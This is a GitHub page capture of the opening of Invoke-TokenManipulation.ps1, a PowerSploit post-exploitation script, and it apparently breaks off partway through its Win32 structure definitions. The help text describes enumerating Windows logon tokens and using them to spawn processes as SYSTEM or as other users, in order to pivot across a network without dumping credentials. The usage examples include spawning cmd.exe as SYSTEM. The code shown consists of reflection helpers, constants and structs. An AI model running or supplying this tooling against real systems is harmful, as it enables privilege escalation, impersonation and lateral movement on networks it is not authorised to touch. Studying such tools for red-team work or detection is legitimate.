forked from Lucifer1993/PLtools
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathInvoke-TokenManipulation.ps1
1913 lines (1585 loc) · 91.8 KB
/
Invoke-TokenManipulation.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
function Invoke-TokenManipulation
{
<#
.SYNOPSIS
This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use
anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections.
This functionality is very similar to the incognito tool (with some differences, and different use goals).
This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell
creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token
that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect
to another server as that user (it will authenticate using the primary token of the process, which is your original logon token).
Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon
Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their
credentials for the authentication.
IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone".
This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL
is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though,
so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop.
This could show up in logs depending on the level of monitoring.
PERMISSIONS REQUIRED:
SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this.
SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0.
Important differences from incognito:
First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates
between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service
which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow
you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting
without dumping credentials.
In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does
matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for
the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types
should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks
for tokens which were created with desirable logon tokens (and only displays them by default).
In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good).
PowerSploit Function: Invoke-TokenManipulation
Author: Joe Bialek, Twitter: @JosephBialek
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
Version: 1.11
(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe)
.DESCRIPTION
Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread.
.PARAMETER Enumerate
Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens).
.PARAMETER RevToSelf
Switch. Stops impersonating an alternate users Token.
.PARAMETER ShowAll
Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens).
.PARAMETER ImpersonateUser
Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId.
This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead.
.PARAMETER CreateProcess
Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId.
.PARAMETER WhoAmI
Switch. Displays the credentials the PowerShell thread is running under.
.PARAMETER Username
Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user.
.PARAMETER ProcessId
Specify the Token to use by ProcessId. This will use the primary token of the process specified.
.PARAMETER Process
Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process.
.PARAMETER ThreadId
Specify the Token to use by ThreadId. This will use the token of the thread specified.
.PARAMETER ProcessArgs
Specify the arguments to start the specified process with when using the -CreateProcess mode.
.PARAMETER NoUI
If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the
current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control
to "Everyone".
.PARAMETER PassThru
If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline.
.EXAMPLE
Invoke-TokenManipulation -Enumerate
Lists all unique usable tokens on the computer.
.EXAMPLE
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system"
Spawns cmd.exe as SYSTEM.
.EXAMPLE
Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"
Makes the current PowerShell thread impersonate SYSTEM.
.EXAMPLE
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
Spawns cmd.exe using the primary token belonging to process ID 500.
.EXAMPLE
Invoke-TokenManipulation -ShowAll
Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon.
.EXAMPLE
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
Spawns cmd.exe using the token belonging to thread ID 500.
.EXAMPLE
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe"
Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script.
.EXAMPLE
(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit()
Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited.
.EXAMPLE
Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser
Makes the current thread impersonate the lsass security token.
.NOTES
This script was inspired by incognito.
Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/).
BIG THANKS to Matt Graeber for helping debug.
.LINK
Blog: http://clymb3r.wordpress.com/
Github repo: https://github.com/clymb3r/PowerShell
Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
#>
[CmdletBinding(DefaultParameterSetName="Enumerate")]
Param(
[Parameter(ParameterSetName = "Enumerate")]
[Switch]
$Enumerate,
[Parameter(ParameterSetName = "RevToSelf")]
[Switch]
$RevToSelf,
[Parameter(ParameterSetName = "ShowAll")]
[Switch]
$ShowAll,
[Parameter(ParameterSetName = "ImpersonateUser")]
[Switch]
$ImpersonateUser,
[Parameter(ParameterSetName = "CreateProcess")]
[String]
$CreateProcess,
[Parameter(ParameterSetName = "WhoAmI")]
[Switch]
$WhoAmI,
[Parameter(ParameterSetName = "ImpersonateUser")]
[Parameter(ParameterSetName = "CreateProcess")]
[String]
$Username,
[Parameter(ParameterSetName = "ImpersonateUser")]
[Parameter(ParameterSetName = "CreateProcess")]
[Int]
$ProcessId,
[Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)]
[Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)]
[System.Diagnostics.Process]
$Process,
[Parameter(ParameterSetName = "ImpersonateUser")]
[Parameter(ParameterSetName = "CreateProcess")]
$ThreadId,
[Parameter(ParameterSetName = "CreateProcess")]
[String]
$ProcessArgs,
[Parameter(ParameterSetName = "CreateProcess")]
[Switch]
$NoUI,
[Parameter(ParameterSetName = "CreateProcess")]
[Switch]
$PassThru
)
Set-StrictMode -Version 2
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
Function Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
###############################
#Win32Constants
###############################
$Constants = @{
ACCESS_SYSTEM_SECURITY = 0x01000000
READ_CONTROL = 0x00020000
SYNCHRONIZE = 0x00100000
STANDARD_RIGHTS_ALL = 0x001F0000
TOKEN_QUERY = 8
TOKEN_ADJUST_PRIVILEGES = 0x20
ERROR_NO_TOKEN = 0x3f0
SECURITY_DELEGATION = 3
DACL_SECURITY_INFORMATION = 0x4
ACCESS_ALLOWED_ACE_TYPE = 0x0
STANDARD_RIGHTS_REQUIRED = 0x000F0000
DESKTOP_GENERIC_ALL = 0x000F01FF
WRITE_DAC = 0x00040000
OBJECT_INHERIT_ACE = 0x1
GRANT_ACCESS = 0x1
TRUSTEE_IS_NAME = 0x1
TRUSTEE_IS_SID = 0x0
TRUSTEE_IS_USER = 0x1
TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5
TRUSTEE_IS_GROUP = 0x2
PROCESS_QUERY_INFORMATION = 0x400
TOKEN_ASSIGN_PRIMARY = 0x1
TOKEN_DUPLICATE = 0x2
TOKEN_IMPERSONATE = 0x4
TOKEN_QUERY_SOURCE = 0x10
STANDARD_RIGHTS_READ = 0x20000
TokenStatistics = 10
TOKEN_ALL_ACCESS = 0xf01ff
MAXIMUM_ALLOWED = 0x02000000
THREAD_ALL_ACCESS = 0x1f03ff
ERROR_INVALID_PARAMETER = 0x57
LOGON_NETCREDENTIALS_ONLY = 0x2
SE_PRIVILEGE_ENABLED = 0x2
SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1
SE_PRIVILEGE_REMOVED = 0x4
}
$Win32Constants = New-Object PSObject -Property $Constants
###############################
###############################
#Win32Structures
###############################
#Define all the structures/enums that will be used
# This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
$Domain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false)
$ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
#ENUMs
$TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32])
$TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null
$TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null
$TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null
$TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null
$TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null
$TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null
$TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null
$TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null
$TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null
$TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null
$TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null
$TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null
$TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null
$TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null
$TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null
$TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null
$TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null
$TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null
$TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null
$TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null
$TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null
$TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null
$TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null
$TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null
$TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null
$TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null
$TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null
$TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null
$TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null
$TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null
$TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null
$TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null
$TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null
$TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null
$TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null
$TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null
$TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null
$TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null
$TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null
$TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null
$TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null
$TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType()
#STRUCTs
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null
$LARGE_INTEGER = $TypeBuilder.CreateType()
#Struct LUID
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8)
$TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null
$LUID = $TypeBuilder.CreateType()
#Struct TOKEN_STATISTICS
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null
$TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null
$TOKEN_STATISTICS = $TypeBuilder.CreateType()
#Struct LSA_UNICODE_STRING
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null
$LSA_UNICODE_STRING = $TypeBuilder.CreateType()
#Struct LSA_LAST_INTER_LOGON_INFO
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null
$TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null
$TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null
$LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType()
#Struct SECURITY_LOGON_SESSION_DATA
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null
$TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null
$TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null
$TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null
$TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null
$TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null
$TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null
$TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null
$SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType()
#Struct STARTUPINFO
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null
$STARTUPINFO = $TypeBuilder.CreateType()
#Struct PROCESS_INFORMATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null
$TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null
$PROCESS_INFORMATION = $TypeBuilder.CreateType()
#Struct TOKEN_ELEVATION
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null
$TOKEN_ELEVATION = $TypeBuilder.CreateType()
#Struct LUID_AND_ATTRIBUTES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12)
$TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null
$TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null
$LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType()
#Struct TOKEN_PRIVILEGES
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16)
$TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null
$TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null
$TOKEN_PRIVILEGES = $TypeBuilder.CreateType()
#Struct ACE_HEADER
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null
$TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null
$TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null
$ACE_HEADER = $TypeBuilder.CreateType()
#Struct ACL
$Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType])
$TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null
$TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null
$TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null
$TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null
